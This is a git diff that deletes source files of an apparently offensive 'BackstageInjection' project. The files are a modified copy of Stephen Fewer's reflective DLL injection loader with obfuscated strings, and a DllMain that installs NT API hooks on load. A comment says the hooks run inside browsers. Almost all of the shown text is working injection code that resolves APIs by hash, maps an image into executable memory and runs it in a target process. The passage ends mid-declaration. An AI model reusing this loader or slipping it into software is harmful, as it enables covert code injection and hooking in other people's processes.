b/BackstageInjection/src/ReflectiveDLLInjection.h deleted file mode 100644 index 72fd96b..0000000 --- a/BackstageInjection/src/ReflectiveDLLInjection.h +++ /dev/null @@ -1,51 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -// we declare some common stuff in here... - -#define DLL_QUERY_HMODULE 6 - -#define DEREF( name )*(UINT_PTR *)(name) -#define DEREF_64( name )*(DWORD64 *)(name) -#define DEREF_32( name )*(DWORD *)(name) -#define DEREF_16( name )*(WORD *)(name) -#define DEREF_8( name )*(BYTE *)(name) - -typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); -typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); - -#define DLLEXPORT __declspec( dllexport ) - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/BackstageInjection/src/ReflectiveDll.c b/BackstageInjection/src/ReflectiveDll.c deleted file mode 100644 index c8cc4b3..0000000 --- a/BackstageInjection/src/ReflectiveDll.c +++ /dev/null @@ -1,43 +0,0 @@ -//===============================================================================================// -// This is a stub for the actuall functionality of the DLL. -//===============================================================================================// -#include "ReflectiveLoader.h" -#include "NtApiHooks.h" - -// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are -// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own -// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. - -// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) -extern HINSTANCE hAppInstance; - -// Store the parameter passed to ReflectiveLoader -extern LPVOID g_lpReflectiveParameter; - -//===============================================================================================// -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) -{ - BOOL bReturnValue = TRUE; - switch (dwReason) - { - case DLL_QUERY_HMODULE: - if (lpReserved != NULL) - *(HMODULE*)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - DisableThreadLibraryCalls(hinstDLL); - - // Install NT API hooks with the parameter passed from the injector - InstallNtApiHooks(g_lpReflectiveParameter); - break; - case DLL_PROCESS_DETACH: - // Remove hooks on detach - RemoveNtApiHooks(); - break; - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} \ No newline at end of file diff --git a/BackstageInjection/src/ReflectiveLoader.c b/BackstageInjection/src/ReflectiveLoader.c deleted file mode 100644 index e2ede62..0000000 --- a/BackstageInjection/src/ReflectiveLoader.c +++ /dev/null @@ -1,562 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "ReflectiveLoader.h" -#include "obfstr.h" -//===============================================================================================// -// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value -HINSTANCE hAppInstance = NULL; -// Store the parameter passed to ReflectiveLoader so DllMain can access it -LPVOID g_lpReflectiveParameter = NULL; -//===============================================================================================// -#ifdef _MSC_VER -#pragma intrinsic(_ReturnAddress) -#define RDI_NOINLINE __declspec(noinline) -#else -#define RDI_NOINLINE __attribute__((noinline)) -#endif - -// This function can not be inlined by the compiler or we will not get the address we expect. Ideally -// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of -// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics -// available (and no inline asm available under x64). -RDI_NOINLINE ULONG_PTR caller(VOID) -{ -#ifdef _MSC_VER - return (ULONG_PTR)_ReturnAddress(); -#elif defined(__GNUC__) || defined(__clang__) - // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. - return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); -#else - return 0; -#endif -} -//===============================================================================================// - -// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, -// otherwise the DllMain at the end of this file will be used. - -// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, -// otherwise it is assumed you are calling the ReflectiveLoader via a stub. - -// This is our position independent reflective DLL loader/injector -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) -#else -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) -#endif -{ - // the functions we need - LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; - VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; -#ifdef WIN_X64 - FARPROC pRtlAddFunctionTable = NULL; -#endif - - USHORT usCounter; - - // the initial location of this image in memory - ULONG_PTR uiLibraryAddress; - // the kernels base address and later this images newly loaded base address - ULONG_PTR uiBaseAddress; - - // variables for processing the kernels export table - ULONG_PTR uiAddressArray; - ULONG_PTR uiNameArray; - ULONG_PTR uiExportDir; - ULONG_PTR uiNameOrdinals; - DWORD dwHashValue; - - // variables for loading this image - ULONG_PTR uiHeaderValue; - ULONG_PTR uiValueA; - ULONG_PTR uiValueB; - ULONG_PTR uiValueC; - ULONG_PTR uiValueD; - ULONG_PTR uiValueE; - - // STEP 0: calculate our images current base address - - // we will start searching backwards from our callers return address. - uiLibraryAddress = caller(); - - // loop through memory backwards searching for our images base address - // we dont need SEH style search as we shouldnt generate any access violations with this - while (TRUE) - { - if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) - { - uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), - // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. - if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) - { - uiHeaderValue += uiLibraryAddress; - // break if we have found a valid MZ/PE header - if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) - break; - } - } - uiLibraryAddress--; - } - - // STEP 1: process the kernels exports for the functions our loader needs... - - // get the Process Enviroment Block -#ifdef WIN_X64 - uiBaseAddress = __readgsqword(0x60); -#else -#ifdef WIN_X86 - uiBaseAddress = __readfsdword(0x30); -#else WIN_ARM - uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); -#endif -#endif - - // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx - uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; - - // get the first entry of the InMemoryOrder module list - uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; - while (uiValueA) - { - // get pointer to current modules name (unicode string) - uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; - // set bCounter to the length for the loop - usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; - // clear uiValueC which will store the hash of the module name - uiValueC = 0; - - // compute the hash of the module name... - do - { - uiValueC = ror((DWORD)uiValueC); - // normalize to uppercase if the madule name is in lowercase - if (*((BYTE*)uiValueB) >= 'a') - uiValueC += *((BYTE*)uiValueB) - 0x20; - else - uiValueC += *((BYTE*)uiValueB); - uiValueB++; - } while (--usCounter); - - // compare the hash with that of kernel32.dll - if ((DWORD)uiValueC == KERNEL32DLL_HASH) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); - - // get the VA for the array of name pointers - uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); - - usCounter = 3; - - // loop while we still have imports to find - while (usCounter > 0) - { - // compute the hash values for this function name - dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); - - // if we have found a function we want we get its virtual address - if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) - { - // get the VA for the array of addresses - uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if (dwHashValue == LOADLIBRARYA_HASH) - pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); - else if (dwHashValue == GETPROCADDRESS_HASH) - pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); - else if (dwHashValue == VIRTUALALLOC_HASH) - pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - else if ((DWORD)uiValueC == NTDLLDLL_HASH) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); - - // get the VA for the array of name pointers - uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); - - // get the VA for the array of name ordinals - uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); - - usCounter = 1; - - // loop while we still have imports to find - while (usCounter > 0) - { - // compute the hash values for this function name - dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); - - // if we have found a function we want we get its virtual address - if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) - { - // get the VA for the array of addresses - uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - - // we stop searching when we have found everything we need. - if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) - break; - - // get the next entry - uiValueA = DEREF(uiValueA); - } - -#ifdef WIN_X64 - // Resolve RtlAddFunctionTable so we can register exception unwind data. - // Without this, stack unwinding through our hook functions crashes browsers. - { - HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll)); - if (hNtdll) - pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable)); - } -#endif - - // STEP 2: load our image into a new permanent location in memory... - - // get the VA of the NT Header for the PE to be loaded - uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - // Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.). - // Without this check, every subsequent write to uiBaseAddress would be a - // write through NULL — an access violation in the remote process. - if (!uiBaseAddress) - return 0; - - // we must now copy over the headers - uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; - uiValueB = uiLibraryAddress; - uiValueC = uiBaseAddress; - - while (uiValueA--) - *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; - - // STEP 3: load in all of our sections... - - // uiValueA = the VA of the first section - uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); - - // itterate through all sections, loading them into memory. - uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; - while (uiValueE--) - { - // uiValueB is the VA for this section - uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); - - // uiValueC if the VA for this sections data - uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); - - // copy the section over - uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; - - while (uiValueD--) - *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; - - // get the VA of the next section - uiValueA += sizeof(IMAGE_SECTION_HEADER); - } - - // STEP 4: process our images import table... - - // uiValueB = the address of the import directory - uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); - - // itterate through all imports - while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) - { - // use LoadLibraryA to load the imported module into memory - uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); - - // uiValueD = VA of the OriginalFirstThunk - uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); - - // itterate through all imported functions, importing by ordinal if no name present - while (DEREF(uiValueA)) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) - { - // get the VA of the modules NT Header - uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - - // get the VA of the export directory - uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); - - // get the VA for the array of addresses - uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); - - // patch in the address for this imported function - DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); - } - else - { - // get the VA of this functions import by name struct - uiValueB = (uiBaseAddress + DEREF(uiValueA)); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); - } - // get the next imported function - uiValueA += sizeof(ULONG_PTR); - if (uiValueD) - uiValueD += sizeof(ULONG_PTR); - } - - // get the next import - uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); - } - - // STEP 5: process all of our images relocations... - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - // check if their are any relocations present - if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); - - // and we itterate through all entries... - while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) - { - // uiValueA = the VA for this relocation block - uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); - - // uiValueB = number of entries in this relocation block - uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); - - // uiValueD is now the first entry in the current relocation block - uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); - - // we itterate through all the entries in the current block... - while (uiValueB--) - { - // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. - // we dont use a switch statement to avoid the compiler building a jump table - // which would not be very position independent! - if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) - *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) - *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; -#ifdef WIN_ARM - // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) - { - register DWORD dwInstruction; - register DWORD dwAddress; - register WORD wImm; - // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) - dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); - // flip the words to get the instruction as expected - dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); - // sanity chack we are processing a MOV instruction... - if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) - { - // pull out the encoded 16bit value (the high portion of the address-to-relocate) - wImm = (WORD)(dwInstruction & 0x000000FF); - wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); - wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); - wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); - // apply the relocation to the target address - dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; - // now create a new instruction with the same opcode and register param. - dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); - // patch in the relocated address... - dwInstruction |= (DWORD)(dwAddress & 0x00FF); - dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; - dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; - dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; - // now flip the instructions words and patch back into the code... - *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); - } - } -#endif - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) - *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); - else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) - *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); - - // get the next entry in the current relocation block - uiValueD += sizeof(IMAGE_RELOC); - } - - // get the next entry in the relocation directory - uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; - } - } - - // STEP 5b: register exception function table (.pdata) with the OS. - // Reflective loading bypasses the normal loader which would do this via - // LdrpInsertDataTableEntry. Without registration, any exception that - // unwinds through our hook functions causes STATUS_ACCESS_VIOLATION. -#ifdef WIN_X64 - if (pRtlAddFunctionTable) - { - PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); - if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION) - { - PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; - if (pExcDir->VirtualAddress && pExcDir->Size) - { - typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64); - ((RTLADDFNTABLE)pRtlAddFunctionTable)( - (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress), - pExcDir->Size / sizeof(RUNTIME_FUNCTION), - (DWORD64)uiBaseAddress - ); - } - } - } -#endif - - // STEP 6: call our images entry point - - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); - - // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - // Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list). - if (pNtFlushInstructionCache) - pNtFlushInstructionCache((HANDLE)-1, NULL, 0); - - // call our respective entry point, fudging our hInstance value -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR - // Store the parameter globally so DllMain can access it - g_lpReflectiveParameter = lpParameter; - // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) - ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); -#else - // if we are injecting an DLL via a stub we call DllMain with no parameter - ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); -#endif - - // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. - return uiValueA; -} -//===============================================================================================// -#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) -{ - BOOL bReturnValue = TRUE; - switch (dwReason) - { - case DLL_QUERY_HMODULE: - if (lpReserved != NULL) - *(HMODULE*)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} - -#endif -//===============================================================================================// diff --git a/BackstageInjection/src/ReflectiveLoader.h b/BackstageInjection/src/ReflectiveLoader.h deleted file mode 100644 index 3e13533..0000000 --- a/BackstageInjection/src/ReflectiveLoader.h +++ /dev/null @@ -1,215 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include - -#ifdef _MSC_VER -#include -#else -// MinGW/GCC: _rotr lives in , __readgsqword in -#include -#include -#endif - -#include "ReflectiveDLLInjection.h" - -typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); -typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); -typedef 